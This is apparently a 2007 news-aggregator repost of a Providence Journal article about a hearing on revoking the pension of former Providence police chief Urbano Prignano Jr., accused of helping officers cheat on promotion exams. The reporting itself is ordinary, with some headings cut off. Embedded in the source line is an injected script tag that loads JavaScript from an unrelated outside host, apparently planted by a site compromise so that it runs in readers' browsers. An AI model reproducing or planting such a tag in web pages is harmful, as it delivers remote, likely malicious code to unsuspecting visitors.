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NEWS > 12 June 2007

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 Article sourced from

Providence Police Department,<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Providence Journal - Providenc
12 June 2007
This article appeared in the above title/site.
To view it in its entirity click this link.
Providence Police Department,

Ex-chief who helped officers c

PROVIDENCE — Former Police Chief Urbano Prignano Jr. helped four police officers cheat on their written promotional examinations and manipulated promotional interviews in order to help six officers, according to disputed evidence contained in previously secret grand jury transcripts and other records made public yesterday.

Prignano directly or indirectly helped four officers to cheat on their written exams in the late 1990s and win promotion, according to the disputed evidence: Lieutenants John J. Ryan and John F. Glancy, who were promoted to captain, and Detective Nicholas A. Cardarelli and Patrolwoman Tonya King Harris, who were promoted to sergeant.

The evidence was made public during a hearing at City Hall on the city Retirement Board’s proposed revocation or reduction of Prignano’s $64,620 annual pension. A municipal ordinance makes honorable service a pension prerequisite.

Prignano implicated himself in some of the cheating in his testimony during the Operation Plunder Dome trial of former Mayor Vincent A. Cianci Jr. and others in 2002, and his testimony was among the evidence presented at yesterday’s hearing. Among the other evidence presented was grand jury testimony from former Maj. Martin F. Hames and former Capt. Dennis Gerstmeyer, statements that Prignano and Ryan made in FBI interviews, and the report of a Police Department investigation of the cheating scandal that had roiled the department for years.

Prignano told the FBI that he surreptitiously gave Ryan, Cardarelli and Harris so-called source sheets that drastically limited what they had to study for their written exams. Ryan admitted having passed to Glancy and at least one other officer a source sheet for an exam, according to an FBI summary of interviews with Ryan and others. Although Ryan said he gave a source sheet to Glancy at Prignano’s behest, Prignano insisted to the FBI that he, Prignano, was not behind that action.

Sgt. Walter K. Chin, who participated in the departmental investigation of the scandal, testified at yesterday’s hearing that slipping source sheets to the foursome gave them a significant advantage over their competitors for promotion.

Ryan and Harris have denied cheating and Glancy’s lawyer has denied it on his behalf. Cardarelli over the years apparently has not spoken publicly about the allegation against him.

In secret testimony before a state grand jury, Hames and Gerstmeyer said Prignano in effect dictated the six candidates who would be scored first, second and third in interviews during two promotional rounds for captain in the late 1990s. The favored six were: Ryan and Glancy, and Lieutenants William Campbell, Robert T. Kells, Henry Tarlaian and Thomas F. Oates III. There was no suggestion at the hearing, however, that Campbell, Kells, Tarlaian and Oates cheated.

Ryan, Glancy, Cardarelli, Harris, Kells and Tarlaian have retired, and Kells is now police chief in Lincoln. Campbell is now a captain in the Providence Police Department and Oates is a major and a member of Providence Police Chief Dean M. Esserman’s inner circle.

Promotions are based on four factors: candidates’ scores on written exams and in interviews by an ad hoc board and on their seniority and education.

The hearing briefly became contentious when Stephen R. Famiglietti, Prignano’s lead lawyer, strenuously objected to the introduction of the disputed evidence on various legal and fairness grounds and said that he had not been given the relevant documents in advance so that he could read them and properly represent his client.

“I’m not going to sit here and be a potted plant,” he declared. He said lawyer and hearing officer Vincent A. Ragosta Jr. was “dead set” on having certain information put on the public record without allowing him adequate time to prepare to make objections and to cross-examine and that he would not participate in that process.

He thereupon gathered up his papers and stalked out of the hearing with a law associate. With Famiglietti’s voice audible from the corridor as he spoke with news reporters, the hearing continued in his absence.

The hearing was conducted by Ragosta and lawyer Jennifer S. Sternick, who have been hired by the Retirement Board to gather evidence regarding Prignano’s alleged dishonorable activities and to give Prignano an opportunity to defend himself. Ragosta is expected to submit a report of the hearing to the Retirement Board, which would then decide whether to reduce or revoke Prignano’s pension or do nothing. If the board wants to reduce or revoke the pension, it must sue in Superior Court and persuade a judge to order the sanction.

Sternick presented two witnesses, Esserman and Chin, and a slew of documents. Ragosta oversaw the hearing, ruling on the admissibility of evidence.

Esserman said Prignano could hide behind the immunity from criminal prosecution that he was given when he testified in the Plunder Dome trial but that he cannot escape accountability for his wrongdoing in a scandal that Esserman said officers told him took a terrible toll on the integrity and image of the Police Department. Esserman asked that the Retirement Board revoke Prignano’s pension.

Sternick concluded the case against Prignano yesterday, and Ragosta said that he and Sternick would invite Famiglietti to return in order to cross-examine the witnesses and to challenge any of the evidence that was submitted.

Ragosta called Famiglietti’s walkout “largely theatrical” and said Prignano’s lawyer was attempting to “overly judicialize” what the law treats as an informal administrative hearing not bound by all of the legal requirements of a court proceeding.

Famiglietti shot back in a telephone interview later, “It’s a dog and pony show. … I’m not going to waste any more of my time making a case” for Prignano in a hearing run by Ragosta.

Famiglietti declined to rebut any of the evidence that was presented against his client, saying that he has not been able to familiarize himself with the allegations. Sternick only gave him documents one by one as she introduced them, he complained.

 

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